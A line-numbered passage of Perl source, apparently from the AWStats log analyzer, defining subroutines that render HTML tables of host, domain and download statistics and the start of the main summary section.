"Total real / shown : $TotalPages / $total_p - $TotalHits / $total_h - $TotalBytes / $total_h",
 
12110
                        2
 
12111
                );
 
12112
        }
 
12113
        $rest_p = $TotalPages - $total_p;
 
12114
        $rest_h = $TotalHits - $total_h;
 
12115
        $rest_k = $TotalBytes - $total_k;
 
12116
        if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 )
 
12117
        {    # All other visitors (known or not)
 
12118
                print
 
12119
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[82]</span></td>";
 
12120
                &HTMLShowHostInfo('');
 
12121
                if ( $ShowHostsStats =~ /P/i ) {
 
12122
                        print "<td>" . ( $rest_p ? Format_Number($rest_p) : "&nbsp;" ) . "</td>";
 
12123
                }
 
12124
                if ( $ShowHostsStats =~ /H/i ) { print "<td>".Format_Number($rest_h)."</td>"; }
 
12125
                if ( $ShowHostsStats =~ /B/i ) {
 
12126
                        print "<td>" . Format_Bytes($rest_k) . "</td>";
 
12127
                }
 
12128
                if ( $ShowHostsStats =~ /L/i ) { print "<td>&nbsp;</td>"; }
 
12129
                print "</tr>\n";
 
12130
        }
 
12131
        &tab_end();
 
12132
        &html_end(1);
 
12133
}
 
12134
 
 
12135
#------------------------------------------------------------------------------
 
12136
# Function:     Prints the Host details frame or static page
 
12137
# Parameters:   _
 
12138
# Input:        _
 
12139
# Output:       HTML
 
12140
# Return:       -
 
12141
#------------------------------------------------------------------------------
 
12142
sub HTMLShowHosts{
 
12143
        my $total_p = 0;
 
12144
        my $total_h = 0;
 
12145
        my $total_k = 0;
 
12146
        my $rest_p = 0;
 
12147
        my $rest_h = 0;
 
12148
        my $rest_k = 0;
 
12149
        print "$Center<a name=\"hosts\">&nbsp;</a><br />\n";
 
12150
 
 
12151
        # Show filter form
 
12152
        &HTMLShowFormFilter( "hostfilter", $FilterIn{'host'},
 
12153
                $FilterEx{'host'} );
 
12154
 
 
12155
        # Show hosts list
 
12156
        my $title = '';
 
12157
        my $cpt   = 0;
 
12158
        if ( $HTMLOutput{'allhosts'} ) {
 
12159
                $title .= "$Message[81]";
 
12160
                $cpt = ( scalar keys %_host_h );
 
12161
        }
 
12162
        if ( $HTMLOutput{'lasthosts'} ) {
 
12163
                $title .= "$Message[9]";
 
12164
                $cpt = ( scalar keys %_host_h );
 
12165
        }
 
12166
        &tab_head( "$title", 19, 0, 'hosts' );
 
12167
        print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>";
 
12168
        if ( $FilterIn{'host'} || $FilterEx{'host'} ) {    # With filter
 
12169
                if ( $FilterIn{'host'} ) {
 
12170
                        print "$Message[79] '<b>$FilterIn{'host'}</b>'";
 
12171
                }
 
12172
                if ( $FilterIn{'host'} && $FilterEx{'host'} ) { print " - "; }
 
12173
                if ( $FilterEx{'host'} ) {
 
12174
                        print " Exlude $Message[79] '<b>$FilterEx{'host'}</b>'";
 
12175
                }
 
12176
                if ( $FilterIn{'host'} || $FilterEx{'host'} ) { print ": "; }
 
12177
                print "$cpt $Message[81]";
 
12178
                if ( $MonthRequired ne 'all' ) {
 
12179
                        if ( $HTMLOutput{'allhosts'} || $HTMLOutput{'lasthosts'} ) {
 
12180
                                print
 
12181
"<br />$Message[102]: ".Format_Number($TotalHostsKnown)." $Message[82], ".Format_Number($TotalHostsUnknown)." $Message[1] - ".Format_Number($TotalUnique)." $Message[11]";
 
12182
                        }
 
12183
                }
 
12184
        }
 
12185
        else {    # Without filter
 
12186
                if ( $MonthRequired ne 'all' ) {
 
12187
                        print
 
12188
"$Message[102] : ".Format_Number($TotalHostsKnown)." $Message[82], ".Format_Number($TotalHostsUnknown)." $Message[1] - ".Format_Number($TotalUnique)." $Message[11]";
 
12189
                }
 
12190
                else { print "$Message[102] : " . Format_Number(( scalar keys %_host_h )); }
 
12191
        }
 
12192
        print "</th>";
 
12193
        &HTMLShowHostInfo('__title__');
 
12194
        if ( $ShowHostsStats =~ /P/i ) {
 
12195
                print
 
12196
                  "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
 
12197
        }
 
12198
        if ( $ShowHostsStats =~ /H/i ) {
 
12199
                print
 
12200
                  "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
 
12201
        }
 
12202
        if ( $ShowHostsStats =~ /B/i ) {
 
12203
                print
 
12204
"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
 
12205
        }
 
12206
        if ( $ShowHostsStats =~ /L/i ) {
 
12207
                print "<th width=\"120\">$Message[9]</th>";
 
12208
        }
 
12209
        print "</tr>\n";
 
12210
        $total_p = $total_h = $total_k = 0;
 
12211
        my $count = 0;
 
12212
        if ( $HTMLOutput{'allhosts'} ) {
 
12213
                &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'}, \%_host_h,
 
12214
                        \%_host_p );
 
12215
        }
 
12216
        if ( $HTMLOutput{'lasthosts'} ) {
 
12217
                &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'}, \%_host_h,
 
12218
                        \%_host_l );
 
12219
        }
 
12220
        foreach my $key (@keylist) {
 
12221
                my $host = CleanXSS($key);
 
12222
                print "<tr><td class=\"aws\">"
 
12223
                  . ( $_robot_l{$key} ? '<b>'  : '' ) . "$host"
 
12224
                  . ( $_robot_l{$key} ? '</b>' : '' ) . "</td>";
 
12225
                &HTMLShowHostInfo($key);
 
12226
                if ( $ShowHostsStats =~ /P/i ) {
 
12227
                        print "<td>"
 
12228
                          . ( $_host_p{$key} ? Format_Number($_host_p{$key}) : "&nbsp;" )
 
12229
                          . "</td>";
 
12230
                }
 
12231
                if ( $ShowHostsStats =~ /H/i ) {
 
12232
                        print "<td>".Format_Number($_host_h{$key})."</td>";
 
12233
                }
 
12234
                if ( $ShowHostsStats =~ /B/i ) {
 
12235
                        print "<td>" . Format_Bytes( $_host_k{$key} ) . "</td>";
 
12236
                }
 
12237
                if ( $ShowHostsStats =~ /L/i ) {
 
12238
                        print "<td>"
 
12239
                          . (
 
12240
                                $_host_l{$key}
 
12241
                                ? Format_Date( $_host_l{$key}, 1 )
 
12242
                                : '-'
 
12243
                          )
 
12244
                          . "</td>";
 
12245
                }
 
12246
                print "</tr>\n";
 
12247
                $total_p += $_host_p{$key};
 
12248
                $total_h += $_host_h{$key};
 
12249
                $total_k += $_host_k{$key} || 0;
 
12250
                $count++;
 
12251
        }
 
12252
        if ($Debug) {
 
12253
                debug(
 
12254
"Total real / shown : $TotalPages / $total_p - $TotalHits / $total_h - $TotalBytes / $total_h",
 
12255
                        2
 
12256
                );
 
12257
        }
 
12258
        $rest_p = $TotalPages - $total_p;
 
12259
        $rest_h = $TotalHits - $total_h;
 
12260
        $rest_k = $TotalBytes - $total_k;
 
12261
        if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 )
 
12262
        {    # All other visitors (known or not)
 
12263
                print
 
12264
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
 
12265
                &HTMLShowHostInfo('');
 
12266
                if ( $ShowHostsStats =~ /P/i ) {
 
12267
                        print "<td>" . ( $rest_p ? Format_Number($rest_p) : "&nbsp;" ) . "</td>";
 
12268
                }
 
12269
                if ( $ShowHostsStats =~ /H/i ) { print "<td>".Format_Number($rest_h)."</td>"; }
 
12270
                if ( $ShowHostsStats =~ /B/i ) {
 
12271
                        print "<td>" . Format_Bytes($rest_k) . "</td>";
 
12272
                }
 
12273
                if ( $ShowHostsStats =~ /L/i ) { print "<td>&nbsp;</td>"; }
 
12274
                print "</tr>\n";
 
12275
        }
 
12276
        &tab_end();
 
12277
        &html_end(1);
 
12278
}
 
12279
 
 
12280
#------------------------------------------------------------------------------
 
12281
# Function:     Prints the Domains details frame or static page
 
12282
# Parameters:   _
 
12283
# Input:        _
 
12284
# Output:       HTML
 
12285
# Return:       -
 
12286
#------------------------------------------------------------------------------
 
12287
sub HTMLShowDomains{
 
12288
        my $total_p = 0;
 
12289
        my $total_h = 0;
 
12290
        my $total_k = 0;
 
12291
        my $total_v = 0;
 
12292
        my $total_u = 0;
 
12293
        my $rest_p = 0;
 
12294
        my $rest_h = 0;
 
12295
        my $rest_k = 0;
 
12296
        my $rest_v = 0;
 
12297
        my $rest_u = 0;
 
12298
        print "$Center<a name=\"domains\">&nbsp;</a><br />\n";
 
12299
 
 
12300
        # Show domains list
 
12301
        my $title = '';
 
12302
        my $cpt   = 0;
 
12303
        if ( $HTMLOutput{'alldomains'} ) {
 
12304
                $title .= "$Message[25]";
 
12305
                $cpt = ( scalar keys %_domener_h );
 
12306
        }
 
12307
        &tab_head( "$title", 19, 0, 'domains' );
 
12308
        print
 
12309
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\">&nbsp;</th><th colspan=\"2\">$Message[17]</th>";
 
12310
        if ( $ShowDomainsStats =~ /U/i ) {
 
12311
                print
 
12312
                  "<th bgcolor=\"#$color_u\" width=\"80\">$Message[11]</th>";
 
12313
        }
 
12314
        if ( $ShowDomainsStats =~ /V/i ) {
 
12315
                print
 
12316
                  "<th bgcolor=\"#$color_v\" width=\"80\">$Message[10]</th>";
 
12317
        }
 
12318
        if ( $ShowDomainsStats =~ /P/i ) {
 
12319
                print
 
12320
                  "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
 
12321
        }
 
12322
        if ( $ShowDomainsStats =~ /H/i ) {
 
12323
                print
 
12324
                  "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
 
12325
        }
 
12326
        if ( $ShowDomainsStats =~ /B/i ) {
 
12327
                print
 
12328
"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
 
12329
        }
 
12330
        print "<th>&nbsp;</th>";
 
12331
        print "</tr>\n";
 
12332
        $total_u = $total_v = $total_p = $total_h = $total_k = 0;
 
12333
        my $max_h = 1;
 
12334
        foreach ( values %_domener_h ) {
 
12335
                if ( $_ > $max_h ) { $max_h = $_; }
 
12336
        }
 
12337
        my $max_k = 1;
 
12338
        foreach ( values %_domener_k ) {
 
12339
                if ( $_ > $max_k ) { $max_k = $_; }
 
12340
        }
 
12341
        my $count = 0;
 
12342
        &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_domener_h,
 
12343
                \%_domener_p );
 
12344
        foreach my $key (@keylist) {
 
12345
                my ( $_domener_u, $_domener_v );
 
12346
                my $bredde_p = 0;
 
12347
                my $bredde_h = 0;
 
12348
                my $bredde_k = 0;
 
12349
                if ( $max_h > 0 ) {
 
12350
                        $bredde_p =
 
12351
                          int( $BarWidth * $_domener_p{$key} / $max_h ) + 1;
 
12352
                }    # use max_h to enable to compare pages with hits
 
12353
                if ( $_domener_p{$key} && $bredde_p == 1 ) { $bredde_p = 2; }
 
12354
                if ( $max_h > 0 ) {
 
12355
                        $bredde_h =
 
12356
                          int( $BarWidth * $_domener_h{$key} / $max_h ) + 1;
 
12357
                }
 
12358
                if ( $_domener_h{$key} && $bredde_h == 1 ) { $bredde_h = 2; }
 
12359
                if ( $max_k > 0 ) {
 
12360
                        $bredde_k =
 
12361
                          int( $BarWidth * ( $_domener_k{$key} || 0 ) / $max_k ) +
 
12362
                          1;
 
12363
                }
 
12364
                if ( $_domener_k{$key} && $bredde_k == 1 ) { $bredde_k = 2; }
 
12365
                my $newkey = lc($key);
 
12366
                if ( $newkey eq 'ip' || !$DomainsHashIDLib{$newkey} ) {
 
12367
                        print
 
12368
"<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/ip.png\" height=\"14\""
 
12369
                          . AltTitle("$Message[0]")
 
12370
                          . " /></td><td class=\"aws\">$Message[0]</td><td>$newkey</td>";
 
12371
                }
 
12372
                else {
 
12373
                        print
 
12374
"<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/$newkey.png\" height=\"14\""
 
12375
                          . AltTitle("$newkey")
 
12376
                          . " /></td><td class=\"aws\">$DomainsHashIDLib{$newkey}</td><td>$newkey</td>";
 
12377
                }
 
12378
                ## to add unique visitors and number of visits, by Josep Ruano @ CAPSiDE
 
12379
                if ( $ShowDomainsStats =~ /U/i ) {
 
12380
                        $_domener_u = (
 
12381
                                  $_domener_p{$key}
 
12382
                                ? $_domener_p{$key} / $TotalPages
 
12383
                                : 0
 
12384
                        );
 
12385
                        $_domener_u += ( $_domener_h{$key} / $TotalHits );
 
12386
                        $_domener_u =
 
12387
                          sprintf( "%.0f", ( $_domener_u * $TotalUnique ) / 2 );
 
12388
                        print "<td>".Format_Number($_domener_u)." ("
 
12389
                          . sprintf( "%.1f%", 100 * $_domener_u / $TotalUnique )
 
12390
                          . ")</td>";
 
12391
                }
 
12392
                if ( $ShowDomainsStats =~ /V/i ) {
 
12393
                        $_domener_v = (
 
12394
                                  $_domener_p{$key}
 
12395
                                ? $_domener_p{$key} / $TotalPages
 
12396
                                : 0
 
12397
                        );
 
12398
                        $_domener_v += ( $_domener_h{$key} / $TotalHits );
 
12399
                        $_domener_v =
 
12400
                          sprintf( "%.0f", ( $_domener_v * $TotalVisits ) / 2 );
 
12401
                        print "<td>".Format_Number($_domener_v)." ("
 
12402
                          . sprintf( "%.1f%", 100 * $_domener_v / $TotalVisits )
 
12403
                          . ")</td>";
 
12404
                }
 
12405
                if ( $ShowDomainsStats =~ /P/i ) {
 
12406
                        print "<td>".Format_Number($_domener_p{$key})."</td>";
 
12407
                }
 
12408
                if ( $ShowDomainsStats =~ /H/i ) {
 
12409
                        print "<td>".Format_Number($_domener_h{$key})."</td>";
 
12410
                }
 
12411
                if ( $ShowDomainsStats =~ /B/i ) {
 
12412
                        print "<td>" . Format_Bytes( $_domener_k{$key} ) . "</td>";
 
12413
                }
 
12414
                print "<td class=\"aws\">";
 
12415
                if ( $ShowDomainsStats =~ /P/i ) {
 
12416
                        print
 
12417
"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\""
 
12418
                          . AltTitle( "$Message[56]: " . int( $_domener_p{$key} ) )
 
12419
                          . " /><br />\n";
 
12420
                }
 
12421
                if ( $ShowDomainsStats =~ /H/i ) {
 
12422
                        print
 
12423
"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\""
 
12424
                          . AltTitle( "$Message[57]: " . int( $_domener_h{$key} ) )
 
12425
                          . " /><br />\n";
 
12426
                }
 
12427
                if ( $ShowDomainsStats =~ /B/i ) {
 
12428
                        print
 
12429
"<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"5\""
 
12430
                          . AltTitle(
 
12431
                                "$Message[75]: " . Format_Bytes( $_domener_k{$key} ) )
 
12432
                          . " />";
 
12433
                }
 
12434
                print "</td>";
 
12435
                print "</tr>\n";
 
12436
                $total_u += $_domener_u;
 
12437
                $total_v += $_domener_v;
 
12438
                $total_p += $_domener_p{$key};
 
12439
                $total_h += $_domener_h{$key};
 
12440
                $total_k += $_domener_k{$key} || 0;
 
12441
                $count++;
 
12442
        }
 
12443
        my $rest_u = $TotalUnique - $total_u;
 
12444
        my $rest_v = $TotalVisits - $total_v;
 
12445
        $rest_p = $TotalPages - $total_p;
 
12446
        $rest_h = $TotalHits - $total_h;
 
12447
        $rest_k = $TotalBytes - $total_k;
 
12448
        if (   $rest_u > 0
 
12449
                || $rest_v > 0
 
12450
                || $rest_p > 0
 
12451
                || $rest_h > 0
 
12452
                || $rest_k > 0 )
 
12453
        {    # All other domains (known or not)
 
12454
                print
 
12455
"<tr><td width=\"$WIDTHCOLICON\">&nbsp;</td><td colspan=\"2\" class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
 
12456
                if ( $ShowDomainsStats =~ /U/i ) { print "<td>$rest_u</td>"; }
 
12457
                if ( $ShowDomainsStats =~ /V/i ) { print "<td>$rest_v</td>"; }
 
12458
                if ( $ShowDomainsStats =~ /P/i ) { print "<td>$rest_p</td>"; }
 
12459
                if ( $ShowDomainsStats =~ /H/i ) { print "<td>$rest_h</td>"; }
 
12460
                if ( $ShowDomainsStats =~ /B/i ) {
 
12461
                        print "<td>" . Format_Bytes($rest_k) . "</td>";
 
12462
                }
 
12463
                print "<td class=\"aws\">&nbsp;</td>";
 
12464
                print "</tr>\n";
 
12465
        }
 
12466
        &tab_end();
 
12467
        &html_end(1);
 
12468
}
 
12469
 
 
12470
#------------------------------------------------------------------------------
 
12471
# Function:     Prints the Downloads code frame or static page
 
12472
# Parameters:   _
 
12473
# Input:        _
 
12474
# Output:       HTML
 
12475
# Return:       -
 
12476
#------------------------------------------------------------------------------
 
12477
sub HTMLShowDownloads{
 
12478
        my $regext         = qr/\.(\w{1,6})$/;
 
12479
        print "$Center<a name=\"downloads\">&nbsp;</a><br />\n";
 
12480
        &tab_head( $Message[178], 19, 0, "downloads" );
 
12481
        print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[178]</th>";
 
12482
        if ( $ShowFileTypesStats =~ /H/i ){print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"
 
12483
                ."<th bgcolor=\"#$color_h\" width=\"80\">206 $Message[57]</th>"; }
 
12484
        if ( $ShowFileTypesStats =~ /B/i ){
 
12485
                print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
 
12486
                print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>";
 
12487
        }
 
12488
        print "</tr>\n";
 
12489
        my $count = 0;
 
12490
        for my $u (sort {$_downloads{$b}->{'AWSTATS_HITS'} <=> $_downloads{$a}->{'AWSTATS_HITS'}}(keys %_downloads) ){
 
12491
                print "<tr>";
 
12492
                my $ext = Get_Extension($regext, $u);
 
12493
                if ( !$ext) {
 
12494
                        print "<td"
 
12495
                          . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
 
12496
                          . "><img src=\"$DirIcons\/mime\/unknown.png\""
 
12497
                          . AltTitle("")
 
12498
                          . " /></td>";
 
12499
                }
 
12500
                else {
 
12501
                        my $nameicon = $MimeHashLib{$ext}[0] || "notavailable";
 
12502
                        my $nametype = $MimeHashFamily{$MimeHashLib{$ext}[0]} || "&nbsp;";
 
12503
                        print "<td"
 
12504
                          . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
 
12505
                          . "><img src=\"$DirIcons\/mime\/$nameicon.png\""
 
12506
                          . AltTitle("")
 
12507
                          . " /></td>";
 
12508
                }
 
12509
                print "<td class=\"aws\">";
 
12510
                &HTMLShowURLInfo($u);
 
12511
                print "</td>";
 
12512
                if ( $ShowFileTypesStats =~ /H/i ){
 
12513
                        print "<td>".Format_Number($_downloads{$u}->{'AWSTATS_HITS'})."</td>";
 
12514
                        print "<td>".Format_Number($_downloads{$u}->{'AWSTATS_206'})."</td>";
 
12515
                }
 
12516
                if ( $ShowFileTypesStats =~ /B/i ){
 
12517
                        print "<td>".Format_Bytes($_downloads{$u}->{'AWSTATS_SIZE'})."</td>";
 
12518
                        print "<td>".Format_Bytes(($_downloads{$u}->{'AWSTATS_SIZE'}/
 
12519
                                        ($_downloads{$u}->{'AWSTATS_HITS'} + $_downloads{$u}->{'AWSTATS_206'})))."</td>";
 
12520
                }
 
12521
                print "</tr>\n";
 
12522
                $count++;
 
12523
                if ($count >= $MaxRowsInHTMLOutput){last;}
 
12524
        }
 
12525
        &tab_end();
 
12526
        &html_end(1);
 
12527
}
 
12528
 
 
12529
#------------------------------------------------------------------------------
 
12530
# Function:     Prints the Summary section at the top of the main page
 
12531
# Parameters:   _
 
12532
# Input:        _
 
12533
# Output:       HTML
 
12534
# Return:       -
 
12535
#------------------------------------------------------------------------------
 
12536
sub HTMLMainSummary{
 
12537
        if ($Debug) { debug( "ShowSummary", 2 ); }
 
12538
        # FirstTime LastTime
 
12539
        my $FirstTime = 0;
 
12540
        my $LastTime  = 0;
 
12541
        foreach my $key ( keys %FirstTime ) {
 
12542
                my $keyqualified = 0;
 
12543
                if ( $MonthRequired eq 'all' ) { $keyqualified = 1; }
 
12544
                if ( $key =~ /^$YearRequired$MonthRequired/ ) { $keyqualified = 1; }
 
12545
                if ($keyqualified) {
 
12546
                        if ( $FirstTime{$key}
 
12547
                                && ( $FirstTime == 0 || $FirstTime > $FirstTime{$key} ) )
 
12548
                        {
 
12549
                                $FirstTime = $FirstTime{$key};
 
12550
                        }
 
12551
                        if ( $LastTime < ( $LastTime{$key} || 0 ) ) {
 
12552
                                $LastTime = $LastTime{$key};
 
12553
                        }
 
12554
                }
 
12555
        }
 
12556
                        
 
12557
        #print "$Center<a name=\"summary\">&nbsp;</a><br />\n";
 
12558
        my $title = "$Message[128]";
 
12559
        &tab_head( "$title", 0, 0, 'month' );
 
12560
 
 
12561
        my $NewLinkParams = ${QueryString};
 
12562
        $NewLinkParams =~ s/(^|&|&amp;)update(=\w*|$)//i;
 
12563
        $NewLinkParams =~ s/(^|&|&amp;)staticlinks(=\w*|$)//i;
 
12564
        $NewLinkParams =~ s/(^|&|&amp;)year=[^&]*//i;
 
12565
        $NewLinkParams =~ s/(^|&|&amp;)month=[^&]*//i;
 
12566
        $NewLinkParams =~ s/(^|&|&amp;)framename=[^&]*//i;
 
12567
        $NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
 
12568
        $NewLinkParams =~ s/^&amp;//;
 
12569
        $NewLinkParams =~ s/&amp;$//;
 
12570
        if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&amp;"; }
 
12571
        my $NewLinkTarget = '';
 
12572
 
 
12573
        if ( $FrameName eq 'mainright' ) {
 
12574
                $NewLinkTarget = " target=\"_parent\"";
 
12575
        }
 
12576
 
 
12577
        # Ratio
 
12578
        my $RatioVisits = 0;
 
12579
        my $RatioPages  = 0;
 
12580
        my $RatioHits   = 0;
 
12581
        my $RatioBytes  = 0;
 
12582
        if ( $TotalUnique > 0 ) {
 
12583
                $RatioVisits = int( $TotalVisits / $TotalUnique * 100 ) / 100;
 
12584
        }
 
12585
        if ( $TotalVisits > 0 ) {
 
12586
                $RatioPages = int( $TotalPages / $TotalVisits * 100 ) / 100;
 
12587
        }
 
12588
        if ( $TotalVisits > 0 ) {
 
12589
                $RatioHits = int( $TotalHits / $TotalVisits * 100 ) / 100;
 
12590
        }
 
12591
        if ( $TotalVisits > 0 ) {
 
12592
                $RatioBytes =
 
12593
                  int( ( $TotalBytes / 1024 ) * 100 /
 
12594
                          ( $LogType eq 'M' ? $TotalHits : $TotalVisits ) ) / 100;
 
12595
        }
 
12596
 
 
12597
        my $colspan = 5;
 
12598
        my $w       = '20';
 
12599
        if ( $LogType eq 'W' || $LogType eq 'S' ) {
 
12600
                $w       = '17';
 
12601
                $colspan = 6;
 
12602
        }
 
12603
 
 
12604
        # Show first/last
 
12605
        print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
 
12606
        print
 
12607
"<td class=\"aws\"><b>$Message[133]</b></td><td class=\"aws\" colspan=\""
 
12608
          . ( $colspan - 1 ) . "\">\n";
 
12609
        print( $MonthRequired eq 'all'
 
12610
                ? "$Message[6] $YearRequired"
 
12611
                : "$Message[5] "
 
12612
                  . $MonthNumLib{$MonthRequired}
 
12613
                  . " $YearRequired"
 
12614
        );
 
12615
        print "</td></tr>\n";
 
12616
        print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
 
12617
        print "<td class=\"aws\"><b>$Message[8]</b></td>\n";
 
12618
        print "<td class=\"aws\" colspan=\""
 
12619
          . ( $colspan - 1 ) . "\">"
 
12620
          . ( $FirstTime ? Format_Date( $FirstTime, 0 ) : "NA" ) . "</td>";
 
12621
        print "</tr>\n";
 
12622
        print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
 
12623
        print "<td class=\"aws\"><b>$Message[9]</b></td>\n";
 
12624
        print "<td class=\"aws\" colspan=\""
 
12625
          . ( $colspan - 1 ) . "\">"
 
12626
          . ( $LastTime ? Format_Date( $LastTime, 0 ) : "NA" )
 
12627
          . "</td>\n";
 
12628
        print "</tr>\n";
 
12629
 
 
12630
        # Show main indicators title row
 
12631
        print "<tr>";
 
12632
        if ( $LogType eq 'W' || $LogType eq 'S' ) {
 
12633
                print "<td bgcolor=\"#$color_TableBGTitle\">&nbsp;</td>";
 
12634
        }
 
12635
        if ( $ShowSummary =~ /U/i ) {
 
12636
                print "<td width=\"$w%\" bgcolor=\"#$color_u\""
 
12637
                  . Tooltip(2)
 
12638
                  . ">$Message[11]</td>";
 
12639
        }
 
12640
        else {
 
12641
                print
 
12642
"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\">&nbsp;</td>";
 
12643
        }
 
12644
        if ( $ShowSummary =~ /V/i ) {
 
12645
                print "<td width=\"$w%\" bgcolor=\"#$color_v\""
 
12646
                  . Tooltip(1)
 
12647
                  . ">$Message[10]</td>";
 
12648
        }
 
12649
        else {
 
12650
                print
 
12651
"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\">&nbsp;</td>";
 
12652
        }
 
12653
        if ( $ShowSummary =~ /P/i ) {
 
12654
                print "<td width=\"$w%\" bgcolor=\"#$color_p\""
 
12655
                  . Tooltip(3)
 
12656
                  . ">$Message[56]</td>";
 
12657
        }
 
12658
        else {
 
12659
                print
 
12660
"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\">&nbsp;</td>";
 
12661
        }
 
12662
        if ( $ShowSummary =~ /H/i ) {
 
12663
                print "<td width=\"$w%\" bgcolor=\"#$color_h\""
 
12664
                  . Tooltip(4)
 
12665
                  . ">$Message[57]</td>";
 
12666
        }
 
12667
        else {
 
12668
                print
 
12669
"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\">&nbsp;</td>";
 
12670
        }
 
12671
        if ( $ShowSummary =~ /B/i ) {
 
12672
                print "<td width=\"$w%\" bgcolor=\"#$color_k\""
 
12673
                  . Tooltip(5)
 
12674
                  . ">$Message[75]</td>";
 
12675
        }
 
12676
        else {
 
12677
                print
 
12678
"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\">&nbsp;</td>";
 
12679
        }
 
12680
        print "</tr>\n";
 
12681
 
 
12682
        # Show main indicators values for viewed traffic
 
12683
        print "<tr>";
 
12684
        if ( $LogType eq 'M' ) {
 
12685
                print "<td class=\"aws\">$Message[165]</td>";
 
12686
                print "<td>&nbsp;<br />&nbsp;</td>\n";
 
12687
                print "<td>&nbsp;<br />&nbsp;</td>\n";
 
12688
                if ( $ShowSummary =~ /H/i ) {
 
12689
                        print "<td><b>".Format_Number($TotalHits)."</b>"
 
12690
                          . (
 
12691
                                $LogType eq 'M'
 
12692
                                ? ""
 
12693
                                : "<br />($RatioHits&nbsp;"
 
12694
                                  . lc( $Message[57] . "/" . $Message[12] ) . ")"
 
12695
                          )
 
12696
                          . "</td>";
 
12697
                }
 
12698
                else { print "<td>&nbsp;</td>"; }
 
12699
                if ( $ShowSummary =~ /B/i ) {
 
12700
                        print "<td><b>"
 
12701
                          . Format_Bytes( int($TotalBytes) )
 
12702
                          . "</b><br />($RatioBytes&nbsp;$Message[108]/"
 
12703
                          . $Message[ ( $LogType eq 'M' ? 149 : 12 ) ]
 
12704
                          . ")</td>";
 
12705
                }
 
12706
                else { print "<td>&nbsp;</td>"; }
 
12707
        }
 
12708
        else {
 
12709
                if ( $LogType eq 'W' || $LogType eq 'S' ) {
 
12710
                        print "<td class=\"aws\">$Message[160]&nbsp;*</td>";
 
12711
                }
 
12712
                if ( $ShowSummary =~ /U/i ) {
 
12713
                        print "<td>"
 
12714
                          . (
 
12715
                                $MonthRequired eq 'all'
 
12716
                                ? "<b>&lt;= ".Format_Number($TotalUnique)."</b><br />$Message[129]"
 
12717
                                : "<b>".Format_Number($TotalUnique)."</b><br />&nbsp;"
 
12718
                          )
 
12719
                          . "</td>";
 
12720
                }
 
12721
                else { print "<td>&nbsp;</td>"; }
 
12722
                if ( $ShowSummary =~ /V/i ) {
 
12723
                        print
 
12724
"<td><b>".Format_Number($TotalVisits)."</b><br />($RatioVisits&nbsp;$Message[52])</td>";
 
12725
                }
 
12726
                else { print "<td>&nbsp;</td>"; }
 
12727
                if ( $ShowSummary =~ /P/i ) {
 
12728
                        print "<td><b>".Format_Number($TotalPages)."</b><br />($RatioPages&nbsp;"
 
12729
                          . $Message[56] . "/"
 
12730
                          . $Message[12]
 
12731
                          . ")</td>";
 
12732
                }
 
12733
                else { print "<td>&nbsp;</td>"; }
 
12734
                if ( $ShowSummary =~ /H/i ) {
 
12735
                        print "<td><b>".Format_Number($TotalHits)."</b>"
 
12736
                          . (
 
12737
                                $LogType eq 'M'
 
12738
                                ? ""
 
12739
                                : "<br />($RatioHits&nbsp;"
 
12740
                                  . $Message[57] . "/"
 
12741
                                  . $Message[12] . ")"
 
12742
                          )
 
12743
                          . "</td>";
 
12744
                }
 
12745
                else { print "<td>&nbsp;</td>"; }
 
12746
                if ( $ShowSummary =~ /B/i ) {
 
12747
                        print "<td><b>"
 
12748
                          . Format_Bytes( int($TotalBytes) )
 
12749
                          . "</b><br />($RatioBytes&nbsp;$Message[108]/"
 
12750
                          . $Message[ ( $LogType eq 'M' ? 149 : 12 ) ]
 
12751
                          . ")</td>";
 
12752
                }
 
12753
                else { print "<td>&nbsp;</td>"; }
 
12754
        }
 
12755
        print "</tr>\n";
 
12756
 
 
12757
        # Show main indicators values for not viewed traffic values
 
12758
        if ( $LogType eq 'M' || $LogType eq 'W' || $LogType eq 'S' ) {
 
12759
                print "<tr>";
 
12760
                if ( $LogType eq 'M' ) {
 
12761
                        print "<td class=\"aws\">$Message[166]</td>";
 
12762
                        print "<td>&nbsp;<br />&nbsp;</td>\n";
 
12763
                        print "<td>&nbsp;<br />&nbsp;</td>\n";
 
12764
                        if ( $ShowSummary =~ /H/i ) {
 
12765
